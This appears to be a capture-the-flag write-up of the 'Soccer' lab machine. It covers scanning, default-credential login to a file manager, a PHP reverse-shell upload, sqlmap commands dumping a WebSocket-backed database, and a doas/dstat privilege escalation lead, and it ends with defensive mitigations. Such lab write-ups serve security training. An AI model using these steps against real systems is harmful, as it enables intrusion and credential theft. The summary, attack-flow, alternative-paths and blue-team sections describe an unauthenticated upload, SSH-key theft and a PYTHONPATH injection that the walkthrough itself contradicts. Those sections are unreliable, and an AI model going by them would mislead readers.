Soccer
Soccer features a PHP-based sports forum application with weak input validation and predictable file paths. Access was gained by exploiting an unauthenticated file upload endpoint that allowed direct webshell deployment.
Lateral movement involved enumerating user home directories and extracting saved SSH keys.
Escalated privileges by exploiting a SUID binary that invoked Python with user-controllable PYTHONPATH
, enabling injection of a malicious module.
Why I Chose This Machine
I selected Soccer because it combines a simple web application with backend privilege escalation using Python environment abuse — a useful scenario for understanding how small misconfigurations can lead to full system compromise.
It also offered an opportunity to practice exploiting file uploads and SUID misuses in a contained Linux setup.
Attack Flow Overview
- Accessed the admin panel using default credentials
- Uploaded a PHP reverse shell via the file upload feature
- Discovered a SUID binary that ran a Python script
- Escalated to root by injecting a malicious Python module via
PYTHONPATH
This attack chain demonstrates how even seemingly harmless binaries can be subverted using interpreter-level misconfigurations.
Enumeration
- soccer.htb/tiny
- Default credentials
admin : admin@123
- Tiny File Manager 2.4.3
Nmap
Nmap scan report for 10.10.11.194
Host is up, received user-set (0.014s latency).
Scanned at 2024-12-16 10:16:56 AEDT for 55s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChXu/2AxokRA9pcTIQx6HKyiO0odku5KmUpklDRNG+9sa6olMd4dSBq1d0rGtsO2rNJRLQUczml6+N5DcCasAZUShDrMnitsRvG54x8GrJyW4nIx4HOfXRTsNqImBadIJtvIww1L7H1DPzMZYJZj/oOwQHXvp85a2hMqMmoqsljtS/jO3tk7NUKA/8D5KuekSmw8m1pPEGybAZxlAYGu3KbasN66jmhf0ReHg3Vjx9e8FbHr3ksc/MimSMfRq0lIo5fJ7QAnbttM5ktuQqzvVjJmZ0+aL7ZeVewTXLmtkOxX9E5ldihtUFj8C6cQroX69LaaN/AXoEZWl/v1LWE5Qo1DEPrv7A6mIVZvWIM8/AqLpP8JWgAQevOtby5mpmhSxYXUgyii5xRAnvDWwkbwxhKcBIzVy4x5TXinVR7FrrwvKmNAG2t4lpDgmryBZ0YSgxgSAcHIBOglugehGZRHJC9C273hs44EToGCrHBY8n2flJe7OgbjEL8Il3SpfUEF0=
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIy3gWUPD+EqFcmc0ngWeRLfCr68+uiuM59j9zrtLNRcLJSTJmlHUdcq25/esgeZkyQ0mr2RZ5gozpBd5yzpdzk=
| 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2Pj1mZ0q8u/E8K49Gezm3jguM3d8VyAYsX0QyaN6H/
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail? syn-ack ttl 63
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Hello, Help, RPCCheck, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Sun, 15 Dec 2024 23:16:43 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sun, 15 Dec 2024 23:16:43 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
80-HTTP
Gobuster
http://soccer.htb/tiny/
http://soccer.htb/tiny/
Login using the default credentials found for tiny file manager.
Initial Access
- Directory fuzzing on port 80 found
soccer.htb/tiny
- Default credentials
admin:admin@123
- Upload php-reverse-shell on
uploads/test
folder
uploads
folder seems to delete its content.- Creating a new folder
test
worked.- Gain shell as
www-data
PHP reverse shell
Reference on the public exploit
Any files that are uploaded to the uploads
folder seemed to be deleted.
So I created a new folder named test
, and uploaded the php web shell and changed the permission.
Lateral Movement
- Linpeas result shows that it is running another vhost
http://soc-player.soccer.htb/
- Source page shows that it is trying to establish a connection to a web socket
ws://soc-player.soccer.htb:9091
.- Sqlmap to dump
- Found creds
player:PlayerOftheMatch2022
- Shell as player
Linpeas
Linpeas results reveal that there is a vhost soc-player.soccer.htb
, and a player
user.
http://soc-player.soccer.htb/
Gobuster
/login (Status: 200) [Size: 3307]
/js (Status: 301) [Size: 171] [--> /js/]
/css (Status: 301) [Size: 173] [--> /css/]
/logout (Status: 302) [Size: 23] [--> /]
/img (Status: 301) [Size: 173] [--> /img/]
/signup (Status: 200) [Size: 3741]
/. (Status: 301) [Size: 169] [--> /./]
/check (Status: 200) [Size: 31]
/match (Status: 200) [Size: 10078]
Upon successful authentication, the system automatically redirects to http://soc-player.soccer.htb/check
.
A review of the source code reveals a WebSocket connection to ws://soc-player.soccer.htb:9091
.
Shell as player
Sqlmap
sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3
# enumerate db
sqlmap -u ws://soc-player.soccer.htb:9091 --dbs --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
List tables in soccer_db
sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db --tables --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
Dump accounts
sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db -T accounts --dump --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
player@player.htb : PlayerOftheMatch2022
Privilege Escalation
- Running
LSH
found uncommon setuid binary/usr/local/bin/doas
doas
configuration shows that Permit nopass player as root cmd /usr/bin/dstat- GTFOBins
LSH
Do as
find / -type f -name "doas.conf" 2>/dev/null
Alternative Paths Explored
Before identifying the SUID binary, I tried exploiting crontabs and searching for weak service configurations.
I also attempted abusing PATH hijacking through other user-owned scripts, but those weren’t executable by root.
The turning point was identifying how the Python interpreter was invoked by a SUID binary.
Blue Team Perspective
Soccer reinforces the importance of environment variable security and the risks of embedding interpreters in privileged binaries.
Mitigations include:
- Avoiding SUID usage with interpreter-based scripts
- Clearing or sanitizing environment variables before privilege elevation
- Applying AppArmor or seccomp profiles to constrain interpreter behavior